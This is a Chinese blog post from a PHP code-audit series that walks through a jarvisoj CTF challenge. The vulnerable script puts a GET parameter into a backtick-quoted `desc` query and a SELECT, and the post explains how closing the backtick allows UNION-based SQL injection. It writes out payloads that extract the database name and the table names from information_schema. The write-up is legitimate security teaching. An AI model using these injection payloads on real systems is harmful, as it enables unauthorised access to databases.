PHP代码审计分段讲解(13)
1 2 3 4 5 6 7 8 9 10 11 | <?php require ( "config.php" ); $table = $_GET [ 'table' ]? $_GET [ 'table' ]: "test" ; $table = Filter( $table ); mysqli_query( $mysqli , "desc `secret_{$table}`" ) or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}" ; $ret = sql_query( $sql ); echo $ret [0]; ?> |
题目源自jarvisoj平台,环境在:http://web.jarvisoj.com:32794/
我们直接开始进行代码审计
包含config.php文件
1 | require ( "config.php" ); |
使用GET方式传入table,赋值给table,默认为test
接着对table进行过滤
1 | $table = Filter( $table ); |
这里的Filter函数是我们不知道的,不过不影响代码审计
接着是
1 | mysqli_query( $mysqli , "desc `secret_{$table}`" ) or Hacker(); |
该行代码的意思为:
当mysqli_query()函数执行成功,则不调用Hacker()函数
当mysqli_query()函数执行失败,则调用Hacker()函数
对于mysqli_query函数的解释:
1 2 | mysqli_query() 函数执行某个针对数据库的查询。 //定义 mysqli_query(connection,query,resultmode); //语法 |
也就是说对链接的数据库执行desc 查询,我们又知道desc是用来查询表的结构的,如图:
又有:
从上图中可以看出来有:
desc xxx xxx;
desc `xxx` `xxx`
desc 'xxx' 'xxx'
desc "xxx" "xxx"
语句一和语句二是同样的效果,能够正常执行
语句三河语句四是同样的效果,均无法正常执行,所以我们通过闭合反引号来进行SQL语句的注入。
关于反引号,有:https://blog.csdn.net/u012546526/article/details/44568849
反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号
例如,如果test表中存在一个 from 字段,,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错
1 | select ` from ` from test |
接下来的代码是一段SQL语句查询,并且输出第一个结果:
1 2 | $ret = sql_query( $sql ); echo $ret [0]; |
我们闭合反引号进行注入:
默认为:
1 2 | desc `secret_test` select 'flag{xxx}' from secret_test |
查询数据库为:
1 2 | desc `secret_test` ` union select database () limit 1,1 select 'flag{xxx}' from secret_test` ` union select database () limit 1,1 |
得知数据库为:
1 | 61d300 |
获取表
1 2 3 | desc `secret_test` ` union select group_concat(table_name) from information_schema.tables where table_schema= database () limit 1,1 select 'flag{xxx}' from secret_test` ` union select group_concat(table_name) from information_schema.tables where table_schema= database () limit 1,1 |
得知表为
1 | secret_flag,secret_test |
后面的注入不再赘述。
提一下这个部分:
1 | select 'flag{xxx}' from secret_test` ` union select database () limit 1,1 |
这里的
1 | secret_test` ` union |
关于中间的翻译好为什么没有影响到语句的执行,个人认为是因为两个反引号相当于了空格,后面的语句同理。
再提一下这个部分:
1 | limit 1,1 |
因为可以看到代码最后是:
1 | echo $ret [0]; |
因为只输出$ret[0],正常输出的话就是 flag{xxx},所以我们使用 limit 控制输出。
参考链接:
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/13386348.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!